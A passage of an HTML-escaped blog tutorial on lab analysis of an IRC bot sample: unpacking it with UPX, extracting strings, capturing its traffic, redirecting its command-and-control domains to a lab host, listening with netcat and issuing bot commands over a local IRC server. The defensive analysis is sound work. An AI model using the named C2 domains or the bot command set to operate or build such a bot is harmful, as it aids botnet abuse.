justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;It's time now to start looking into the new specimen exe &lt;b&gt;nwhyy.exe&lt;/b&gt; for any readable strings. It may give us some hint.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;To do this, we can either use the '&lt;b&gt;strings&lt;/b&gt;' utility on *nix based or on Windows systems.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;i&gt;man strings&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;DESCRIPTION&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;the options below) and are followed by an unprintable character. &amp;nbsp;By default, it only prints the strings from the initialized and loaded&amp;nbsp;sections of object files; for other types of files, it prints the strings from the whole file.&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;i&gt;strings&lt;/i&gt; is mainly useful for determining the contents of non-text files.&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; For each file given, GNU &lt;i&gt;strings&lt;/i&gt; prints the printable character sequences that are at least 4 characters long (or the number given with&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;On Windows based systems, we can also use '&lt;b&gt;Bintext&lt;/b&gt;' [&amp;nbsp;&lt;a href="http://www.mcafee.com/us/downloads/free-tools/bintext.aspx"&gt;http://www.mcafee.com/us/downloads/free-tools/bintext.aspx&lt;/a&gt;&amp;nbsp;]&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;From the BinText project site,&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="line-height: 16px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;A small, very fast and powerful text extractor that will be of particular interest to programmers. It can extract text from any kind of file and includes the ability to find plain ASCII text, Unicode (double byte ANSI) text and Resource strings, providing useful information for each item in the optional "advanced" view mode. Its comprehensive filtering helps prevent unwanted text being listed. The gathered list can be searched and saved to a separate file as either a plain text file or in informative tabular format.&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-RFDwafEpssg/ThRGwWBEKII/AAAAAAAAAng/PEk63MG3fl4/s1600/bintext-1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="482" src="http://3.bp.blogspot.com/-RFDwafEpssg/ThRGwWBEKII/AAAAAAAAAng/PEk63MG3fl4/s640/bintext-1.JPG" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;As you see, there is not much readable text obtained, implying that the specimen code is &lt;a href="http://en.wikipedia.org/wiki/Obfuscated"&gt;obfuscated&lt;/a&gt; in some way. If you look at the text in the upper 2-3 rows of the strings / bintext output, you'll notice that it is telling us about UPX.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;UPX&lt;/b&gt; is a well-known packer [&amp;nbsp;&lt;a href="http://upx.sourceforge.net/"&gt;http://upx.sourceforge.net/&lt;/a&gt;&amp;nbsp;]&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;From the UPX project site,&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;UPX achieves an excellent compression ratio and offers very fast decompression. Your executables suffer no memory overhead or other drawbacks for most of the formats supported, because of in-place decompression. UPX strengths in a nutshell:excellent compression ratio: typically compresses better than WinZip/zip/gzip, use UPX to decrease the size of your distribution!&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-Dp4_JFRlcSc/ThRJxY-u_uI/AAAAAAAAAnk/nJtzD4lelw8/s1600/upx-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="310" src="http://1.bp.blogspot.com/-Dp4_JFRlcSc/ThRJxY-u_uI/AAAAAAAAAnk/nJtzD4lelw8/s640/upx-1.png" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;You can read more about UPX on wikipedia:&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;a href="http://en.wikipedia.org/wiki/UPX"&gt;http://en.wikipedia.org/wiki/UPX&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Now you know, the specimen &lt;b&gt;nwhyy.exe&lt;/b&gt;, is packed with UPX. So, we will just go ahead and decompress the specimen with UPX itself. In cases where we do not know which native packer has been used to pack the malware specimen, we will have to unpack the specimen manually, which is a different process altogether.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;a href="http://4.bp.blogspot.com/-qS-DzdhxnVk/ThRJycebkMI/AAAAAAAAAno/OpinLTkhtkQ/s1600/upx-2-unpacked.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="310" src="http://4.bp.blogspot.com/-qS-DzdhxnVk/ThRJycebkMI/AAAAAAAAAno/OpinLTkhtkQ/s640/upx-2-unpacked.png" width="640" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;UPX decompresses the file and replaces the original file, &lt;b&gt;nwhyy.exe&lt;/b&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Let's see if we can find any readable strings in this unpacked exe.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-l17Hx4lyJMM/ThROIm6bV_I/AAAAAAAAAns/PobhiYdIFXg/s1600/bintext-postunpack.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="512" src="http://2.bp.blogspot.com/-l17Hx4lyJMM/ThROIm6bV_I/AAAAAAAAAns/PobhiYdIFXg/s640/bintext-postunpack.png" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-ZIco-BkDuOs/ThROJYQFRII/AAAAAAAAAnw/HBGi-SMMUgA/s1600/bintext-postunpack-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="514" src="http://3.bp.blogspot.com/-ZIco-BkDuOs/ThROJYQFRII/AAAAAAAAAnw/HBGi-SMMUgA/s640/bintext-postunpack-2.png" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Cool! Now you can see several readable strings in the exe. The highlighted text in the above screen capture looks like commands and respective response messages.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Let's look at the md5sum again w.r.t this new unpacked executable.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-oZFjZkcTqmo/ThRPwRI2FfI/AAAAAAAAAn0/ZtLQWNSm9BI/s1600/md5sum-final.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="310" src="http://2.bp.blogspot.com/-oZFjZkcTqmo/ThRPwRI2FfI/AAAAAAAAAn0/ZtLQWNSm9BI/s640/md5sum-final.png" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;As expected, the md5sum of the last exe is different than the original slackbot.exe. This &lt;b&gt;nwhyy.exe&lt;/b&gt;&amp;nbsp;is a new, raw, unobfuscated malware executable.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Now that we have identified and documented file system related changes done by the malware specimen, we will proceed to identify network related events / actions. &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;a href="http://www.wireshark.org/about.html"&gt;Wireshark&lt;/a&gt; is the go-to tool for network traffic monitoring. Let's fire up wireshark and run the executable again.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-6eRsYRxcnkQ/ThVxcsogLKI/AAAAAAAAAn4/lBXPz920iWg/s1600/ws_cap_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="378" src="http://4.bp.blogspot.com/-6eRsYRxcnkQ/ThVxcsogLKI/AAAAAAAAAn4/lBXPz920iWg/s640/ws_cap_1.png" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Here you see that the malware is trying to resolve the following three domains:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;1. sb.webhop.org&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;2. malware.lab.server [ this is the custom domain I configured into the malware specimen ]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;3. irc.slim.org.au&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;In order to gain insight into what and why of these network access attempts by the malware, we will give it what it wants. It is sending out name resolution requests to get the IP address of the domains, so we will give it the IP address. The catch is, we will tell the malware that the domain(s) it wants to reach, refer to us, i.e. &lt;b&gt;172.72.5.1&lt;/b&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;One way we can do this, is by modifying the 'hosts' file and adding the IP-hostname mapping in it.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;We will start with &lt;b&gt;sb.webhop.org&lt;/b&gt;. We will add a IP-hostname entry in the C:\WINDOWS\system32\drivers\etc\hosts file for sb.webhop.org.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-zm27XrSKVjI/ThV6Myb-32I/AAAAAAAAAoI/Swbvn3aw5jc/s1600/hostsentry-webhop.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="612" src="http://4.bp.blogspot.com/-zm27XrSKVjI/ThV6Myb-32I/AAAAAAAAAoI/Swbvn3aw5jc/s640/hostsentry-webhop.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Save the &lt;i&gt;hosts &lt;/i&gt;file and ping the domain address. You should receive a ping response from 172.72.5.1.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Once malware is able to resolve sb.webhop.org, we kill the malware process, restart traffic capture in wireshark and run the specimen again. You will see that it is trying to establish a HTTP connection.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-xfcmLb-E98w/ThV3dBD0WcI/AAAAAAAAAoA/zJgl5sF4_c4/s1600/ws-webhop-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="378" src="http://3.bp.blogspot.com/-xfcmLb-E98w/ThV3dBD0WcI/AAAAAAAAAoA/zJgl5sF4_c4/s640/ws-webhop-2.png" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Kill the &lt;b&gt;nwhyy.exe&lt;/b&gt;&amp;nbsp;through Process Explorer.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;We will now set up a netcat listener on port 80 and execute the specimen. This simple set up with help us gather connection request header info immediately.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-szmtC4ZW63c/ThV3xpoHyuI/AAAAAAAAAoE/x0bC4MIsj1g/s1600/webhop-nc-referrer.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="344" src="http://2.bp.blogspot.com/-szmtC4ZW63c/ThV3xpoHyuI/AAAAAAAAAoE/x0bC4MIsj1g/s640/webhop-nc-referrer.png" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Netcat"&gt;Netcat&lt;/a&gt; listener is set up using the following command:&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;nc -lv 80&lt;br /&gt;where&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;-l -&amp;gt; listening mode&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;-v -&amp;gt; verbose&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;80 -&amp;gt; port to listen on&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;In the connection request captured, we see that the malware is using a custom Referer and User-Agent. &lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Second, the User-Agent is of Windows 98, which is certainly incorrect as the traffic had originated from Windows XP Sp2.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;So overall, this is making the requests seem to come from 'hxxp://psychward.slak.org'. Ads and affiliates, more traffic that comes from affiliate, more commission that goes to affiliate, you see the point.?!&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Kill the process &lt;b&gt;nwhyy.exe&lt;/b&gt;&amp;nbsp;now.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Let's move on to malware.lab.server. This is a custom irc server I added to the bot specimen. &lt;a href="http://en.wikipedia.org/wiki/Botherder"&gt;Botherders&lt;/a&gt; can add multiple irc/http servers to act as command-and-control. The bot will then contact these command &amp;amp; control servers in case other servers are unavailable / unreachable.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;As earlier, we will add a new &lt;i&gt;hosts&lt;/i&gt; file entry to make the domain resolve to us, 172.72.5.1.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-1PppHdA3fEo/ThV1gTx7G7I/AAAAAAAAAn8/5C8FVYg78lM/s1600/ws-hosts-irc-server.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="606" src="http://1.bp.blogspot.com/-1PppHdA3fEo/ThV1gTx7G7I/AAAAAAAAAn8/5C8FVYg78lM/s640/ws-hosts-irc-server.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;You can confirm the reachability by pinging the domain name. It should resolve correctly and ping responses are received.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;If you start sniffing via wireshark again and run the malware exe, you will see IRC connection attempts to 172.72.5.1. Since there is no irc server running on our box, the connections are RST back.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Doing a 'Follow TCP Stream' on the connection originating from 172.72.5.135 - the infected box - we see that this is an IRC request, and the channel is &lt;i&gt;#jigyaasa&lt;/i&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-sWNVcUAFRGw/ThantE1dSVI/AAAAAAAAAok/-RqiWnZ6SFg/s1600/ircd-malware-channel-info.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="376" src="http://4.bp.blogspot.com/-sWNVcUAFRGw/ThantE1dSVI/AAAAAAAAAok/-RqiWnZ6SFg/s640/ircd-malware-channel-info.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Kill the malware process and now let's start an IRC server [ iirc-hybrid ] on our box.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-S1eE20Wn_S0/ThWL5wrTg9I/AAAAAAAAAoQ/xU2sAID9_Ww/s1600/start-ircd.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="378" src="http://3.bp.blogspot.com/-S1eE20Wn_S0/ThWL5wrTg9I/AAAAAAAAAoQ/xU2sAID9_Ww/s640/start-ircd.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;After starting the IRC server, we join in to the channel &lt;i&gt;#jigyaasa&lt;/i&gt;. Joining the channel first, ensures that we have the &lt;a href="http://en.wikipedia.org/wiki/Internet_Relay_Chat_operator"&gt;OP privileges&lt;/a&gt;. This privilege is like an admin privilege to be able to control the channel and its users.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Run the malware exe, &amp;amp; you will find a new client is connected to our IRC server, the client originates from 172.72.5.135. Based on the command strings that we found inside the unpacked exe earlier, go ahead &amp;amp; enter some commands in the IRC channel.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-V2VsFUnSepg/ThapMBt-CXI/AAAAAAAAAoo/oMSSTE1HROE/s1600/irc-connected.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="380" src="http://2.bp.blogspot.com/-V2VsFUnSepg/ThapMBt-CXI/AAAAAAAAAoo/oMSSTE1HROE/s640/irc-connected.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;You'll notice that the commands &lt;b&gt;!@id&lt;/b&gt;&amp;nbsp;and &lt;b&gt;!@sysinfo&lt;/b&gt;&amp;nbsp;run fine and give the output out. But commands like &lt;b&gt;!@login&lt;/b&gt;&amp;nbsp;and &lt;b&gt;!@run&lt;/b&gt;&amp;nbsp;do not show any message, no output or any sign of execution. If you try to talk to the bot with a random text, there is no response. Looking at this behavior, it is certain that there is an authentication mechanism built into the bot. Only once the analyst / bot herder authenticates, can (s)he can run privileged actions like remote execution.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;To conclude, we have derived the following info from network traffic analysis:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;1. Bot sends HTTP connection requests with modified headers to sb.webhop.org - objective is to increase traffic stats coming from the host [&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;hxxp://psychward.slak.org ]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;2. Bot attempts to connect to a potential command n control server - malware.lab.server, in our scenario - channel &lt;i&gt;#jigyaasa&lt;/i&gt;, with a random NICK, and has both unprivileged &amp;amp; privileged commands&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;+++++&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, 